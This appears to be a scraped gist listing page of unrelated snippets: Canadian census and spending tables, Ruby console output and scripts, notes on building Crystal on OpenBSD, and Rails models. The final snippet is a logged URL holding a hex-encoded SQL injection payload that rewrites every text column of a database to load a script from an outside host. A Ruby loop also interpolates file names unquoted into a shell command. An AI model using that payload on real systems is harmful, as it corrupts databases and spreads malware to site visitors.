This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Newfoundland - Innu/Montagnais | |
Nova Scotia - Arabic | |
PEI - Dutch | |
New Brunswick - Míkmaq | |
Quebec - Arabic | |
Ontario - Italian | |
Manitoba - German | |
Saskatchewan - German | |
Alberta - Chinese | |
British Columbia - Chinese |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Expenditure Population Per Capita | |
Federal 280,500,000,000 33,476,688 8379 | |
Provincial | |
Ontario 129,000,000,000 12,851,821 10037 | |
Quebec 69,551,000,000 7,903,001 8800 | |
BC 40,600,000,000 4,400,057 9227 | |
Alberta 38,712,000,000 3,645,257 10619 | |
MB 10,754,577,000 1,208,268 8901 | |
Sk 10,124,086,000 1,033,381 9797 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ irb | |
irb(main):001:0> str = Marshal.dump("thing") | |
=> "\x04\bI\"\nthing\x06:\x06ET" | |
irb(main):002:0> RUBY_VERSION | |
=> "1.9.3" | |
irb(main):003:0> str[0].ord | |
=> 4 | |
irb(main):004:0> str[1].ord | |
=> 8 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Dir.glob("*2x.jpg").each do |f| | |
`convert #{f} -resize 300x187 #{f.gsub(/@2x/, '')}` | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ ruby -v | |
$ which ruby | |
$ which gem | |
$ which bundler | |
$ gem environment |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Methods tried, and to be tried | |
Use Linux emulation to run Crystal compiler. FAILED | |
- OBSD Linux emulation is only for i386, Crystal binaries are 64-bit. Also OBSD i386 binaries are not compatible with amd64. | |
Use the first release that used a Ruby compiler to compile the next version (and so on) until we have an up to date version. | |
- current OBSD has llvm 3.5 in ports, the original Ruby version of Crystal targeted v3.3 | |
- OBSD LLVM port isn't built with LLVM_ENABLE_SHARED, hopefully this is an easy change | |
- to simplify things it may be easier to build on a version of OBSD that supports LLVM 3.3 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
_ = $$ / $$ | |
__ = _ - _ | |
@_ = _ + _ | |
$_ = @_ + _ | |
$__ = @_ + $_ | |
$-_ = $__ * $_ | |
@__ = '' << $-_ * ($__ + $_) + @_ | |
$___ = '' << $-_ * $__ - $__ << $-_ * ($__ + @_) << @__ << @__ | |
@___ = '' << $-_ * $__ - $_ * $_ << $-_ * ($__ + $_) - $_ << @__ << @__ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
* %{font-size:12px; font-family:verdana}Audio Video Interleave (.avi)% | |
* %{font-size:12px; font-family:verdana}Digital Video (.dv)% | |
* %{font-size:12px; font-family:verdana}QuickTime (.mov, .qt)% | |
* %{font-size:12px; font-family:verdana}MPEG Video (.mpeg, .mpg, .mp4)% | |
* %{font-size:12px; font-family:verdana}Advanced Streaming Format (.asf)% | |
* %{font-size:12px; font-family:verdana}Windows Media Video (.wmv)% | |
* %{font-size:12px; font-family:verdana}Flash Video (.flv)% | |
* %{font-size:12px; font-family:verdana}Mobile Video (.3gp)% | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Item | |
has_many :relations | |
has_many :related_items, :through => :relations, :source => :item, :foreign_key => 'related_item_id' | |
end | |
class Relation | |
belongs_to :item | |
belongs_to :related_item, :class => 'Item', :source => :item | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
http://home-schooling.learnhub.com/lesson/page/2351-the-lazy-way-to-a-great-attitude?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B |
OlderNewer